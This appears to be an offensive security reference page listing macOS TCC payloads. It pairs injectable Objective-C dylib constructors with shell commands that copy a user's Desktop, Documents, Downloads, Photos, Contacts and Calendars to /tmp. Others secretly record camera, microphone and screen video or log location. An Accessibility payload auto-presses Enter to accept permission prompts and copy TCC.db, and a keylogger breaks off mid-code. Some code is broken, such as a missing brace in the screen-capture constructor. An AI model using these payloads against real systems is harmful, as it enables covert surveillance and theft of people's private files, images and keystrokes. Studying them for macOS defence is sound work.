# macOS TCC Payloads
{% hint style="success" %}
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{% endhint %}
### Desktop
* **Entitlement**: None
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
{% tab title="ObjetiveC" %}
Copy `$HOME/Desktop` to `/tmp/desktop`.
```objectivec
#include 
#include 
#include 
#include 
#import 
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    
    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
    NSString *tmpPhotosPath = @"/tmp/desktop";
    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }
    NSLog(@"Copy completed successfully.", error);
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Copy `$HOME/Desktop` to `/tmp/desktop`.
```bash
cp -r "$HOME/Desktop" "/tmp/desktop"
```
{% endtab %}
{% endtabs %}
### Documents
* **Entitlement**: None
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
{% tabs %}
{% tab title="ObjetiveC" %}
Copy `$HOME/Documents` to `/tmp/documents`.
```objectivec
#include 
#include 
#include 
#include 
#import 
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    
    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
    NSString *tmpPhotosPath = @"/tmp/documents";
    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }
    NSLog(@"Copy completed successfully.", error);
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Copy `$HOME/`Documents to `/tmp/documents`.
```bash
cp -r "$HOME/Documents" "/tmp/documents"
```
{% endtab %}
{% endtabs %}
### Downloads
* **Entitlement**: None
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
{% tabs %}
{% tab title="ObjetiveC" %}
Copy `$HOME/Downloads` to `/tmp/downloads`.
```objectivec
#include 
#include 
#include 
#include 
#import 
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    
    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
    NSString *tmpPhotosPath = @"/tmp/downloads";
    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }
    NSLog(@"Copy completed successfully.", error);
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Copy `$HOME/Dowloads` to `/tmp/downloads`.
```bash
cp -r "$HOME/Downloads" "/tmp/downloads"
```
{% endtab %}
{% endtabs %}
### Photos Library
* **Entitlement**: `com.apple.security.personal-information.photos-library`
* **TCC**: `kTCCServicePhotos`
{% tabs %}
{% tab title="ObjetiveC" %}
Copy `$HOME/Pictures/Photos Library.photoslibrary` to `/tmp/photos`.
```objectivec
#include 
#include 
#include 
#include 
#import 
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    
    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
    NSString *tmpPhotosPath = @"/tmp/photos";
    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }
    NSLog(@"Copy completed successfully.", error);
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Copy `$HOME/Pictures/Photos Library.photoslibrary` to `/tmp/photos`.
```bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
```
{% endtab %}
{% endtabs %}
### Contacts
* **Entitlement**: `com.apple.security.personal-information.addressbook`
* **TCC**: `kTCCServiceAddressBook`
{% tabs %}
{% tab title="ObjetiveC" %}
Copy `$HOME/Library/Application Support/AddressBook` to `/tmp/contacts`.
```objectivec
#include 
#include 
#include 
#include 
#import 
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    
    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
    NSString *tmpPhotosPath = @"/tmp/contacts";
    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }
    NSLog(@"Copy completed successfully.", error);
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Copy `$HOME/Library/Application Support/AddressBook` to `/tmp/contacts`.
```bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
```
{% endtab %}
{% endtabs %}
### Calendar
* **Entitlement**: `com.apple.security.personal-information.calendars`
* **TCC**: `kTCCServiceCalendar`
{% tabs %}
{% tab title="ObjectiveC" %}
Copy `$HOME/Library/Calendars` to `/tmp/calendars`.
```objectivec
#include 
#include 
#include 
#include 
#import 
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    
    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
    NSString *tmpPhotosPath = @"/tmp/calendars";
    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }
    NSLog(@"Copy completed successfully.", error);
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Copy `$HOME/Library/Calendars` to `/tmp/calendars`.
```bash
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
```
{% endtab %}
{% endtabs %}
### Camera
* **Entitlement**: `com.apple.security.device.camera`
* **TCC**: `kTCCServiceCamera`
{% tabs %}
{% tab title="ObjetiveC - Record" %}
Record a 3s video and save it in **`/tmp/recording.mov`**
```objectivec
#import 
#import 
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
@interface VideoRecorder : NSObject 
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }
    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}
- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = @"/tmp/recording.mov";
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}
- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];
    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="ObjectiveC - Check" %}
Check if the program has access to the camera.
```objectivec
#import 
#import 
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
    AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
    if (status == AVAuthorizationStatusAuthorized) {
        NSLog(@"[+] Access to camera granted.");
        return YES;
    } else {
        NSLog(@"[-] Access to camera denied.");
        return NO;
    }
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    [CameraAccessChecker hasCameraAccess];
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Take a photo with the camera
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
{% endtab %}
{% endtabs %}
### Microphone
* **Entitlement**: **com.apple.security.device.audio-input**
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
{% tab title="ObjetiveC - Record" %}
Record 5s of audio an store it in `/tmp/recording.m4a`
```objectivec
#import 
#import 
// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib
@interface AudioRecorder : NSObject 
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation AudioRecorder
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    NSError *error;
    self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];
    if (error) {
        NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
        return;
    }
    if ([self.captureSession canAddInput:self.audioDeviceInput]) {
        [self.captureSession addInput:self.audioDeviceInput];
    }
    self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([self.captureSession canAddOutput:self.audioFileOutput]) {
        [self.captureSession addOutput:self.audioFileOutput];
    }
}
- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}
- (void)stopRecording {
    [self.audioFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
    NSLog(@"Saved to %@", outputFileURL.path);
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
    [audioRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [audioRecorder stopRecording];
    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="ObjectiveC - Check" %}
Check if the app has access to the mricrophone.
```objectivec
#import 
#import 
// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib
@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
    AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
    if (status == AVAuthorizationStatusAuthorized) {
        NSLog(@"[+] Access to microphone granted.");
        return YES;
    } else {
        NSLog(@"[-] Access to microphone denied.");
        return NO;
    }
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    [MicrophoneAccessChecker hasMicrophoneAccess];
}
```
{% endtab %}
{% tab title="Shell" %}
Record a 5s audio and store it in `/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
```
{% endtab %}
{% endtabs %}
### Location
{% hint style="success" %}
For an app to get the location, **Location Services** (from Privacy & Security) **must be enabled,** if not it won't be able to access it.
{% endhint %}
* **Entitlement**: `com.apple.security.personal-information.location`
* **TCC**: Granted in `/var/db/locationd/clients.plist`
{% tabs %}
{% tab title="ObjectiveC" %}
Write the location in `/tmp/logs.txt`
```objectivec
#include 
#include 
#import 
#import 
@interface LocationManagerDelegate : NSObject 
@end
@implementation LocationManagerDelegate
- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray *)locations {
    CLLocation *location = [locations lastObject];
    NSLog(@"Current location: %@", location);
    exit(0); // Exit the program after receiving the first location update
}
- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
    NSLog(@"Error getting location: %@", error);
    exit(1); // Exit the program on error
}
@end
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    NSLog(@"Getting location");
    CLLocationManager *locationManager = [[CLLocationManager alloc] init];
    LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
    locationManager.delegate = delegate;
    [locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
    [locationManager startUpdatingLocation];
    NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
    while (true) {
        [runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    }
    NSLog(@"Location completed successfully.");
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
```
{% endtab %}
{% tab title="Shell" %}
Get access to the location
```
???
```
{% endtab %}
{% endtabs %}
### Screen Recording
* **Entitlement**: None
* **TCC**: `kTCCServiceScreenCapture`
{% tabs %}
{% tab title="ObjectiveC" %}
Record the main screen for 5s in `/tmp/screen.mov`
```objectivec
#import 
#import 
// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m
@interface MyRecordingDelegate : NSObject 
@end
@implementation MyRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)output 
    didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL 
    fromConnections:(NSArray *)connections 
    error:(NSError *)error {
    if (error) {
        NSLog(@"Recording error: %@", error);
    } else {
        NSLog(@"Recording finished successfully.");
    }
    exit(0);
}
@end
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if ([captureSession canAddInput:screenInput]) {
        [captureSession addInput:screenInput];
    }
    AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([captureSession canAddOutput:fileOutput]) {
        [captureSession addOutput:fileOutput];
    }
    [captureSession startRunning];
    MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
    [fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];
    // Run the loop for 5 seconds to capture
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [fileOutput stopRecording];
    });
    CFRunLoopRun();
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
```
{% endtab %}
{% tab title="Shell" %}
Record the main screen for 5s
```bash
screencapture -V 5 /tmp/screen.mov
```
{% endtab %}
{% endtabs %}
### Accessibility
* **Entitlement**: None
* **TCC**: `kTCCServiceAccessibility`
Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way
{% tabs %}
{% tab title="Accept TCC" %}
```objectivec
#import 
#import 
#import 
// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears
void SimulateKeyPress(CGKeyCode keyCode) {
    CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
    CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
    CGEventPost(kCGHIDEventTap, keyDownEvent);
    CGEventPost(kCGHIDEventTap, keyUpEvent);
    if (keyDownEvent) CFRelease(keyDownEvent);
    if (keyUpEvent) CFRelease(keyUpEvent);
}
void RunAppleScript() {
    NSLog(@"Starting AppleScript");
    NSString *scriptSource = @"tell application \"Finder\"\n"
                             "set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
                             "set targetFolder to POSIX file \"/tmp\" as alias\n"
                             "duplicate file sourceFile to targetFolder with replacing\n"
                             "end tell\n";
    NSDictionary *errorDict = nil;
    NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
    [appleScript executeAndReturnError:&errorDict];
    if (errorDict) {
        NSLog(@"AppleScript Error: %@", errorDict);
    }
}
int main() {
    @autoreleasepool {
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
            RunAppleScript();
        });
        // Simulate pressing the Enter key every 0.1 seconds
        NSLog(@"Starting key presses");
        for (int i = 0; i < 10; ++i) {
            SimulateKeyPress((CGKeyCode)36); // Key code for Enter
            usleep(100000); // 0.1 seconds
        }
    }
    return 0;
}
```
{% endtab %}
{% tab title="Keylogger" %}
Store the pressed keys in **`/tmp/keystrokes.txt`**
```objectivec
#import 
#import 
#import 
// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m
NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";
void AppendStringToFile(NSString *str, NSString *filePath) {
    NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
    if (fileHandle) {
        [fileHandle seekToEndOfFile];
        [fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
        [fileHandle closeFile];
    } else {
        // If the file does not exist, create it
        [str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    }
}
CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
    if (type == kCGEventKeyDown) {
        CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
        NSString *keyString = nil;
        // First, handle special non-printable keys
        switch (keyCode) {
            case kVK_Return: keyString = @""; break;
            case kVK_Tab: keyString = @""; break;
            case kVK_Space: keyString = @""; break;
            case kVK_Delete: keyString = @""; break;
            case kVK_Escape: keyString = @""; break;
            case kVK_Command: keyString = @""; break;
            case kVK_Shift: keyString = @""; break;
            case kVK_CapsLock: keyString = @""; break;
            case kVK_Option: keyString = @"